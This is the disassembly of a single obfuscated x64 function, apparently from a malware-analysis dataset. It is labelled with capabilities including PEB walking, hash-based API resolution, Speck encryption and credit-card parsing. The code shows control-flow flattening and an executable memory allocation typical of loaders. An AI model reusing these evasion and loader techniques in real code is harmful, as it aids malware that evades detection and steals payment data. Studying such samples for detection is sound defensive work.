Function at 0x180025daf
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Get number of processors
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0x6b533dc9
pushf
not eax
add eax, 0xf3bf0520
xor eax, 0x886bc756
rol eax, 0x11
popf
cmp eax, 0x63
jne 0x180025dd9
popf
pop rax
jmp 0x1800290b5
cmp eax, 0x48
jne 0x180025de8
popf
pop rax
jmp 0x1800284db
cmp eax, 0x3f
jne 0x180025df7
popf
pop rax
jmp 0x18002807b
cmp eax, 1
jne 0x180025e06
popf
pop rax
jmp 0x1800264f0
cmp eax, 0x4a
jne 0x180025e15
popf
pop rax
jmp 0x1800285d5
cmp eax, 0x1a
jne 0x180025e24
popf
pop rax
jmp 0x180026f4d
cmp eax, 0x5d
jne 0x180025e33
popf
pop rax
jmp 0x180028e12
cmp eax, 0x58
jne 0x180025e42
popf
pop rax
jmp 0x180028c1c
cmp eax, 0x40
jne 0x180025e51
popf
pop rax
jmp 0x180028112
cmp eax, 8
jne 0x180025e60
popf
pop rax
jmp 0x180026771
cmp eax, 0x2a
jne 0x180025e6f
popf
pop rax
jmp 0x18002763b
cmp eax, 0x6d
jne 0x180025e7e
popf
pop rax
jmp 0x1800295ab
cmp eax, 0x1c
jne 0x180025e8d
popf
pop rax
jmp 0x18002702b
cmp eax, 0x2e
jne 0x180025e9c
popf
pop rax
jmp 0x1800277d7
cmp eax, 0x4c
jne 0x180025eab
popf
pop rax
jmp 0x18002867f
cmp eax, 0x2b
jne 0x180025eba
popf
pop rax
jmp 0x1800276bd
cmp eax, 0x1b
jne 0x180025ec9
popf
pop rax
jmp 0x180026f85
cmp eax, 0x6a
jne 0x180025ed8
popf
pop rax
jmp 0x18002939f
cmp eax, 0x23
jne 0x180025ee7
popf
pop rax
jmp 0x180027326
cmp eax, 0x5b
jne 0x180025ef6
popf
pop rax
jmp 0x180028cff
cmp eax, 0x43
jne 0x180025f05
popf
pop rax
jmp 0x1800282ba
cmp eax, 0x13
jne 0x180025f14
popf
pop rax
jmp 0x180026cab
cmp eax, 0x33
jne 0x180025f23
popf
pop rax
jmp 0x180027a7b
cmp eax, 0x24
jne 0x180025f32
popf
pop rax
jmp 0x1800273bb
cmp eax, 0x1e
jne 0x180025f41
popf
pop rax
jmp 0x180027100
cmp eax, 0xc
jne 0x180025f50
popf
pop rax
jmp 0x18002696c
cmp eax, 0x26
jne 0x180025f5f
popf
pop rax
jmp 0x180027453
cmp eax, 0x27
jne 0x180025f6e
popf
pop rax
jmp 0x1800274be
cmp eax, 0x30
jne 0x180025f7d
popf
pop rax
jmp 0x1800278cb
cmp eax, 0x10
jne 0x180025f8c
popf
pop rax
jmp 0x180026b53
cmp eax, 0x37
jne 0x180025f9b
popf
pop rax
jmp 0x180027d67
cmp eax, 9
jne 0x180025faa
popf
pop rax
jmp 0x1800267e3
cmp eax, 0x39
jne 0x180025fb9
popf
pop rax
jmp 0x180027e5d
cmp eax, 0x16
jne 0x180025fc8
popf
pop rax
jmp 0x180026d8e
cmp eax, 0x3b
jne 0x180025fd7
popf
pop rax
jmp 0x180027ed7
cmp eax, 0x4b
jne 0x180025fe6
popf
pop rax
jmp 0x18002862a
cmp eax, 0x36
jne 0x180025ff5
popf
pop rax
jmp 0x180027d0d
cmp eax, 0x14
jne 0x180026004
popf
pop rax
jmp 0x180026cd1
cmp eax, 0x60
jne 0x180026013
popf
pop rax
jmp 0x180028f5f
cmp eax, 0x3d
jne 0x180026022
popf
pop rax
jmp 0x180027fd1
cmp eax, 0x69
jne 0x180026031
popf
pop rax
jmp 0x1800292c7
cmp eax, 0x47
jne 0x180026040
popf
pop rax
jmp 0x1800284ad
cmp eax, 0x51
jne 0x18002604f
popf
pop rax
jmp 0x1800288d9
cmp eax, 0x11
jne 0x18002605e
popf
pop rax
jmp 0x180026ba1
cmp eax, 0x35
jne 0x18002606d
popf
pop rax
jmp 0x180027ba9
cmp eax, 0x68
jne 0x18002607c
popf
pop rax
jmp 0x180029285
cmp eax, 0x12
jne 0x18002608b
popf
pop rax
jmp 0x180026c66
cmp eax, 0x6b
jne 0x18002609a
popf
pop rax
jmp 0x180029447
cmp eax, 0x38
jne 0x1800260a9
popf
pop rax
jmp 0x180027dae
cmp eax, 0x64
jne 0x1800260b8
popf
pop rax
jmp 0x180029127
cmp eax, 0x5c
jne 0x1800260c7
popf
pop rax
jmp 0x180028de0
cmp eax, 0x15
jne 0x1800260d6
popf
pop rax
jmp 0x180026d42
cmp eax, 5
jne 0x1800260e5
popf
pop rax
jmp 0x180026656
cmp eax, 6
jne 0x1800260f4
popf
pop rax
jmp 0x180026685
cmp eax, 0x5a
jne 0x180026103
popf
pop rax
jmp 0x180028cb1
cmp eax, 0x49
jne 0x180026112
popf
pop rax
jmp 0x180028503
cmp eax, 0x1f
jne 0x180026121
popf
pop rax
jmp 0x180027134
cmp eax, 4
jne 0x180026130
popf
pop rax
jmp 0x1800265bd
cmp eax, 0x2f
jne 0x18002613f
popf
pop rax
jmp 0x18002787f
cmp eax, 0x4d
jne 0x18002614e
popf
pop rax
jmp 0x1800286fd
cmp eax, 0x55
jne 0x18002615d
popf
pop rax
jmp 0x180028ad4
cmp eax, 0x45
jne 0x18002616c
popf
pop rax
jmp 0x1800283b2
cmp eax, 0x2c
jne 0x18002617b
popf
pop rax
jmp 0x180027742
cmp eax, 0x5f
jne 0x18002618a
popf
pop rax
jmp 0x180028ee9
cmp eax, 0x19
jne 0x180026199
popf
pop rax
jmp 0x180026ec8
cmp eax, 0x1d
jne 0x1800261a8
popf
pop rax
jmp 0x1800270b2
cmp eax, 0x61
jne 0x1800261b7
popf
pop rax
jmp 0x180028fac
cmp eax, 0x53
jne 0x1800261c6
popf
pop rax
jmp 0x1800289cf
cmp eax, 0x4f
jne 0x1800261d5
popf
pop rax
jmp 0x1800287de
cmp eax, 0x6c
jne 0x1800261e4
popf
pop rax
jmp 0x180029496
cmp eax, 7
jne 0x1800261f3
popf
pop rax
jmp 0x1800266da
cmp eax, 0x20
jne 0x180026202
popf
pop rax
jmp 0x18002721d
cmp eax, 0x56
jne 0x180026211
popf
pop rax
jmp 0x180028b22
cmp eax, 0x3c
jne 0x180026220
popf
pop rax
jmp 0x180027f12
cmp eax, 0xd
jne 0x18002622f
popf
pop rax
jmp 0x1800269f1
cmp eax, 0xa
jne 0x18002623e
popf
pop rax
jmp 0x18002683f
cmp eax, 0x18
jne 0x18002624d
popf
pop rax
jmp 0x180026e19
cmp eax, 0x28
jne 0x18002625c
popf
pop rax
jmp 0x180027547
cmp eax, 0x22
jne 0x18002626b
popf
pop rax
jmp 0x1800272d8
cmp eax, 0x50
jne 0x18002627a
popf
pop rax
jmp 0x18002886c
cmp eax, 0x52
jne 0x180026289
popf
pop rax
jmp 0x180028984
cmp eax, 0x41
jne 0x180026298
popf
pop rax
jmp 0x180028197
cmp eax, 0x67
jne 0x1800262a7
popf
pop rax
jmp 0x18002920d
cmp eax, 0x32
jne 0x1800262b6
popf
pop rax
jmp 0x180027a2f
cmp eax, 0x29
jne 0x1800262c5
popf
pop rax
jmp 0x1800275ba
cmp eax, 0x3e
jne 0x1800262d4
popf
pop rax
jmp 0x180028026
cmp eax, 0
jne 0x1800262e3
popf
pop rax
jmp 0x18002643c
cmp eax, 0x4e
jne 0x1800262f2
popf
pop rax
jmp 0x18002876f
cmp eax, 0x31
jne 0x180026301
popf
pop rax
jmp 0x1800279b8
cmp eax, 0x62
jne 0x180026310
popf
pop rax
jmp 0x180029040
cmp eax, 0x5e
jne 0x18002631f
popf
pop rax
jmp 0x180028e65
cmp eax, 0x25
jne 0x18002632e
popf
pop rax
jmp 0x180027400
cmp eax, 0xf
jne 0x18002633d
popf
pop rax
jmp 0x180026b12
cmp eax, 0x44
jne 0x18002634c
popf
pop rax
jmp 0x18002832d
cmp eax, 0x57
jne 0x18002635b
popf
pop rax
jmp 0x180028b46
cmp eax, 3
jne 0x18002636a
popf
pop rax
jmp 0x180026595
cmp eax, 0x46
jne 0x180026379
popf
pop rax
jmp 0x1800283d7
cmp eax, 0x34
jne 0x180026388
popf
pop rax
jmp 0x180027acf
cmp eax, 0x54
jne 0x180026397
popf
pop rax
jmp 0x180028a73
cmp eax, 0x59
jne 0x1800263a6
popf
pop rax
jmp 0x180028c90
cmp eax, 0xb
jne 0x1800263b5
popf
pop rax
jmp 0x1800268ba
cmp eax, 0x66
jne 0x1800263c4
popf
pop rax
jmp 0x180029170
cmp eax, 0x2d
jne 0x1800263d3
popf
pop rax
jmp 0x18002778d
cmp eax, 0xe
jne 0x1800263e2
popf
pop rax
jmp 0x180026a3c
cmp eax, 0x3a
jne 0x1800263f1
popf
pop rax
jmp 0x180027eb4
cmp eax, 2
jne 0x180026400
popf
pop rax
jmp 0x180026570
cmp eax, 0x65
jne 0x18002640f
popf
pop rax
jmp 0x18002914c
cmp eax, 0x21
jne 0x18002641e
popf
pop rax
jmp 0x180027291
cmp eax, 0x42
jne 0x18002642d
popf
pop rax
jmp 0x180028206
cmp eax, 0x17
jne 0x18002643c
popf
pop rax
jmp 0x180026dea
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
mov rsi, rdx
mov rdi, rcx
lea rax, [0x1ca881b47]
pushf
sub rax, 0x4a86713c
popf
mov qword [rsp + 0xe0], rax
mov rbx, qword gs:[0x30]
mov rcx, qword [rbx + 0x118]
mov rax, rcx
test rcx, rcx
jne 0x1800264aa
push rax
pushf
mov eax, 0xe8707c45
pushf
not eax
add eax, 0xb7f75634
xor eax, 0xcf86d9ea
rol eax, 0x9e
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x8874a7d5
pushf
not eax
add eax, 0xabc31469
xor eax, 0xdec86525
rol eax, 0xb
popf
pushf
not eax
add eax, 0xf3d16997
xor eax, 0x98849eae
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xf9a1a94b
xor eax, 0xe2dfdd8e
rol eax, 2
popf
jmp 0x180025dca
mov dword [rsp + 0x54], 4
mov dword [rsp + 0x50], 0x3000
mov dword [rsp + 0x4c], 0x100000
mov qword [rsp + 0xd8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1800265bd
nop dword [rax + rax]
push rax
pushf
mov eax, 0xee0e5e15
pushf
not eax
add eax, 0xe07de338
xor eax, 0xc26f8522
rol eax, 0xc4
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x383c001c
pushf
not eax
add eax, 0xce9785d1
xor eax, 0x865b85b4
rol eax, 0xc6
popf
jmp 0x180025dca
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x60], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x68], rdx
mov dword [rsp + 0x58], ecx
mov rax, qword [rsp + 0x68]
cmp rax, qword [rsp + 0x60]
je 0x180026623
push rax
pushf
mov eax, 0x9882ee8e
pushf
not eax
add eax, 0x94174a67
xor eax, 0xfb945958
rol eax, 0xd9
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x4a2bd471
pushf
not eax
add eax, 0x9c09a7c4
xor eax, 0xf69371a3
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x97df7091
xor eax, 0xf0914d9f
rol eax, 0x91
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x1800267e3
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xa93ecd7e
pushf
not eax
add eax, 0xa2fb4ae5
xor eax, 0xbd59f16d
rol eax, 0x19
popf
pushf
not eax
add eax, 0x9e029bca
xor eax, 0xfb9d15a4
rol eax, 0xc1
popf
pushf
not eax
add eax, 0x9bce8f8f
xor eax, 0xa21f0564
rol eax, 0x2e
popf
jmp 0x180025dca
mov r8d, 0xe13f612b
pushf
not r8d
add r8d, 0xec4847ff
xor r8d, 0xd4179e1c
rol r8d, 0xab
popf
pushf
not r8d
add r8d, 0xcdaa3dc8
xor r8d, 0x96b5e535
rol r8d, 0x45
popf
pushf
not r8d
add r8d, 0x88273717
xor r8d, 0x8b8f1944
rol r8d, 0x3b
popf
push rax
pushf
mov eax, 0x2d156307
pushf
not eax
add eax, 0xabb9cfd6
xor eax, 0xc3e40487
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe846c517
xor eax, 0xf405fe87
rol eax, 0xac
popf
pushf
not eax
add eax, 0xe43120e4
xor eax, 0xcb96efd3
rol eax, 0x14
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0x582cdd4c
je 0x18002679d
push rax
pushf
mov eax, 0xddc7f525
pushf
not eax
add eax, 0xb86cbcac
xor eax, 0xdaa4c306
rol eax, 0x79
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xeb4c2f1f
pushf
not eax
add eax, 0xd7123eef
xor eax, 0x97ae092e
rol eax, 0xea
popf
pushf
not eax
add eax, 0xae30d490
xor eax, 0xb53a22af
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xc0544211
xor eax, 0xbec66895
rol eax, 0x84
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x18002680c
push rax
pushf
mov eax, 0x6aac8de
pushf
not eax
add eax, 0x879c8460
xor eax, 0x80f4bb81
rol eax, 0x51
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xa7ba4f7b
pushf
not eax
add eax, 0xfd372686
xor eax, 0xae5cdf04
rol eax, 0x58
popf
pushf
not eax
add eax, 0xadb89616
xor eax, 0x9ebd760b
rol eax, 0xdf
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180026887
push rax
pushf
mov eax, 0x2a7e17ca
pushf
not eax
add eax, 0xd27bcbb6
xor eax, 0xa7fcd3eb
rol eax, 0xf3
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x837461e
pushf
not eax
add eax, 0xc4f03769
xor eax, 0xee6b2f32
rol eax, 0xff
popf
pushf
not eax
add eax, 0xb218dca6
xor eax, 0x88aee369
rol eax, 0xb7
popf
jmp 0x180025dca
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x30bfd29d
pushf
not r9d
add r9d, 0xde279eff
xor r9d, 0xbeedacd1
rol r9d, 0x7c
popf
pushf
not r9d
add r9d, 0x80c2390f
xor r9d, 0xa68e0fc8
rol r9d, 0x87
popf
pushf
not r9d
add r9d, 0x90342acf
xor r9d, 0xdd271e77
rol r9d, 0x66
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x45455950
pushf
not eax
add eax, 0x9086794f
xor eax, 0x8658b5a9
rol eax, 0xb9
popf
pushf
not eax
add eax, 0x95951839
xor eax, 0xaa44a77c
rol eax, 0x42
popf
pushf
not eax
add eax, 0xc7306c0e
xor eax, 0x88375d6c
rol eax, 0xbc
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1800269ab
push rax
pushf
mov eax, 0xacd734a3
pushf
not eax
add eax, 0xaa445373
xor eax, 0xfd6d1e1f
rol eax, 0x1c
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x7d6ca7f1
pushf
not eax
add eax, 0xa8e2d122
xor eax, 0xf2232e37
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc7e5d30f
xor eax, 0xfcbaf9bf
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb2d5a7b4
xor eax, 0xe9fa8da0
rol eax, 0x67
popf
jmp 0x180025dca
jmp 0x180026771
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x50]
movsxd rdx, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0xd8]
jmp 0x180026a91
call rax
mov qword [rbx + 0x118], rax
mov qword [rsp + 0xd0], 0x30
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xc8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x180026ba1
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x990b2e7a
pushf
not eax
add eax, 0xc35079c3
xor eax, 0xa3b8e926
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x9d85ad14
xor eax, 0xa6dbf2ec
rol eax, 0x2f
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x983a7874
pushf
not eax
add eax, 0xa493e4c1
xor eax, 0xef0ea345
rol eax, 0x89
popf
pushf
not eax
add eax, 0xbe7fd5bc
xor eax, 0xd7993d24
rol eax, 0x69
popf
pushf
not eax
add eax, 0xc002667c
xor eax, 0xce80c2c9
rol eax, 0x4d
popf
jmp 0x180025dca
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x80], rdx
mov dword [rsp + 0x70], ecx
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x78]
je 0x180026c20
push rax
pushf
mov eax, 0x1ee5c6c2
pushf
not eax
add eax, 0xbc37caa4
xor eax, 0xd159ffe8
rol eax, 0xad
popf
pushf
not eax
add eax, 0xafee0a02
xor eax, 0xb06ce084
rol eax, 0x62
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xf7bfee6b
pushf
not eax
add eax, 0xf323ed79
xor eax, 0x91fd8fbf
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xc5c3f841
xor eax, 0xf480e57d
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xf600e785
xor eax, 0xbc937074
rol eax, 0x50
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x180026d8e
nop word [rax + rax]
push rax
pushf
mov eax, 0xd89d48cd
pushf
not eax
add eax, 0xc41d9b49
xor eax, 0xeb20527b
rol eax, 0x6d
popf
jmp 0x180025dca
mov r8d, 0x23a02dd3
pushf
not r8d
add r8d, 0xf42b373b
xor r8d, 0xa027db1e
rol r8d, 0xe9
popf
pushf
not r8d
add r8d, 0xfe53dfaa
xor r8d, 0xd0d227bd
rol r8d, 0xfa
popf
pushf
not r8d
add r8d, 0xd8b4587f
xor r8d, 0xd563460f
rol r8d, 0xf9
popf
push rax
pushf
mov eax, 0x289ee301
pushf
not eax
add eax, 0xbe27d229
xor eax, 0x9f08ef27
rol eax, 0xe9
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0xa5e11fe3
je 0x180026d6e
push rax
pushf
mov eax, 0xb9cdcf47
pushf
not eax
add eax, 0x8cbafaf1
xor eax, 0xd2ec4ba9
rol eax, 0x94
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x25c12c34
pushf
not eax
add eax, 0xb6da04a2
xor eax, 0x9118d85b
rol eax, 0x9f
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x180026dca
push rax
pushf
mov eax, 0x33b95576
pushf
not eax
add eax, 0xdfac6a4e
xor eax, 0xa3342739
rol eax, 0x99
popf
pushf
not eax
add eax, 0xa0d83c08
xor eax, 0xeac6ada0
rol eax, 0x87
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xad16172d
pushf
not eax
add eax, 0x8a5c388f
xor eax, 0xdd4621e1
rol eax, 0x3d
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180026cd1
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0xb9c1e7d3
pushf
not r9d
add r9d, 0xd7f4b5a7
xor r9d, 0xb7c854e3
rol r9d, 0x2f
popf
pushf
not r9d
add r9d, 0xa2014886
xor r9d, 0xc7e54cf5
rol r9d, 0x85
popf
pushf
not r9d
add r9d, 0xdcf1be87
xor r9d, 0xa8671955
rol r9d, 0x89
popf
nop dword [rax]
push rax
pushf
mov eax, 0x944ebc73
pushf
not eax
add eax, 0xb04b1733
xor eax, 0xd1740ab6
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x93525bec
xor eax, 0xcf60e241
rol eax, 0xed
popf
pushf
not eax
add eax, 0xcc36433f
xor eax, 0xf5d0f1cb
rol eax, 8
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x180026f2d
push rax
pushf
mov eax, 0x11e7cb40
pushf
not eax
add eax, 0xd5aa910a
xor eax, 0xaec1f84d
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa7bbb958
xor eax, 0xf02dc533
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xb93cd075
xor eax, 0xcf35fe68
rol eax, 0x57
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x4a90336a
pushf
not eax
add eax, 0xf0a3218a
xor eax, 0xc212ee1f
rol eax, 0xc6
popf
jmp 0x180025dca
jmp 0x180026d42
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xe0]
jmp 0x180026fde
call rax
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rbx + 0x118]
mov qword [rcx], rax
mov rax, qword [rbx + 0x118]
push rax
pushf
mov eax, 0xc2997629
pushf
not eax
add eax, 0xc077c011
xor eax, 0xf09e5525
rol eax, 1
popf
pushf
not eax
add eax, 0xdabcd281
xor eax, 0xc03c9b7c
rol eax, 0x7b
popf
jmp 0x180025dca
mov rbx, rax
cmp qword [rax + 8], 0
jne 0x18002706c
push rax
pushf
mov eax, 0x47c558ac
pushf
not eax
add eax, 0xdc957468
xor eax, 0xe910c14d
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xc40f5938
xor eax, 0xf4bf3dd9
rol eax, 0x6d
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xff77f19c
pushf
not eax
add eax, 0xb39c97d9
xor eax, 0x8c4a514e
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xd9ffcfdd
xor eax, 0xc620e5ae
rol eax, 0x74
popf
pushf
not eax
add eax, 0xa5cb22bf
xor eax, 0x9db76da9
rol eax, 0xc9
popf
jmp 0x180025dca
mov qword [rsp + 0xc0], 0x18018
mov r14, 0xfffffffffffe7fe7
add r14, qword [rbx]
jmp 0x18002721d
nop
push rax
pushf
mov eax, 0x7d37c080
pushf
not eax
add eax, 0x9453b2ad
xor eax, 0xe9f6f143
rol eax, 0x41
popf
pushf
not eax
add eax, 0x932d6efa
xor eax, 0x95536866
rol eax, 0x9e
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xb8]
jmp 0x180027192
call rax
add r14, 0xfffffffffffe7fe8
test rax, rax
jne 0x1800271d7
push rax
pushf
mov eax, 0xe9d9b929
pushf
not eax
add eax, 0xd6ce50f6
xor eax, 0xf2d33307
rol eax, 0x45
popf
pushf
not eax
add eax, 0x805da151
xor eax, 0xbb69076d
rol eax, 0x5e
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x2e6050db
pushf
not eax
add eax, 0xa6893325
xor eax, 0xa613246e
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf9477dc4
xor eax, 0xa4ce7831
rol eax, 0xb4
popf
pushf
not eax
add eax, 0x877a7267
xor eax, 0xaaa82d9c
rol eax, 0x62
popf
jmp 0x180025dca
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x44], 0x3000
mov qword [rsp + 0xb8], r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x180027326
nop
push rax
pushf
mov eax, 0x665720c5
pushf
not eax
add eax, 0xeec5d9a6
xor eax, 0xd538609a
rol eax, 0x34
popf
pushf
not eax
add eax, 0x8f2fb066
xor eax, 0x88b56e08
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8fb95d7e
xor eax, 0xc834e39a
rol eax, 0xa4
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x38]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x8cf34cd8
pushf
not eax
add eax, 0xccb529b2
xor eax, 0x843befa1
rol eax, 0x32
popf
pushf
not eax
add eax, 0x80ac228d
xor eax, 0xaff91c78
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xb03f97cd
xor eax, 0xcf542656
rol eax, 0x94
popf
jmp 0x180025dca
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x90], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x98], rdx
mov dword [rsp + 0x88], ecx
mov rax, qword [rsp + 0x98]
cmp rax, qword [rsp + 0x90]
je 0x18002739b
push rax
pushf
mov eax, 0xcc1889b9
pushf
not eax
add eax, 0x92d62283
xor eax, 0xcfbd98c9
rol eax, 0x8a
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x3cd3d213
pushf
not eax
add eax, 0xa51fbf13
xor eax, 0xe84becf7
rol eax, 2
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x180027547
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xdd470f64
pushf
not eax
add eax, 0xae07b94a
xor eax, 0xe8e257e3
rol eax, 0x61
popf
pushf
not eax
add eax, 0xf9e279fd
xor eax, 0x9eb2c2c2
rol eax, 0x4d
popf
pushf
not eax
add eax, 0xa766e1c6
xor eax, 0xcf8006e0
rol eax, 0xd6
popf
jmp 0x180025dca
mov r8d, 0x8dfbef38
pushf
not r8d
add r8d, 0xe2de19dd
xor r8d, 0xabe31706
rol r8d, 3
popf
pushf
not r8d
add r8d, 0xe3767826
xor r8d, 0xa0e25b5c
rol r8d, 0xaf
popf
push rax
pushf
mov eax, 0x79b3af79
pushf
not eax
add eax, 0xcc49e40d
xor eax, 0x82898dae
rol eax, 0xe5
popf
pushf
not eax
add eax, 0x982f752e
xor eax, 0x943cad73
rol eax, 0xf3
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0x9efbe193
je 0x180027514
push rax
pushf
mov eax, 0x4ed20102
pushf
not eax
add eax, 0xb065fc59
xor eax, 0x94c66204
rol eax, 0x67
popf
pushf
not eax
add eax, 0x96111754
xor eax, 0xfcf15e71
rol eax, 0x12
popf
pushf
not eax
add eax, 0x88ad3cad
xor eax, 0xba0cddd2
rol eax, 0xe2
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x2fa934d6
pushf
not eax
add eax, 0x95abde3e
xor eax, 0x85e84f93
rol eax, 0x22
popf
pushf
not eax
add eax, 0x890ee081
xor eax, 0xc76344ad
rol eax, 0x67
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x18002759a
push rax
pushf
mov eax, 0x19e351d3
pushf
not eax
add eax, 0xc0f39994
xor eax, 0xeaaea0f6
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xd126e94e
xor eax, 0xbfec8f37
rol eax, 0xd
popf
pushf
not eax
add eax, 0xe32c1e78
xor eax, 0xe3f131b6
rol eax, 0xe5
popf
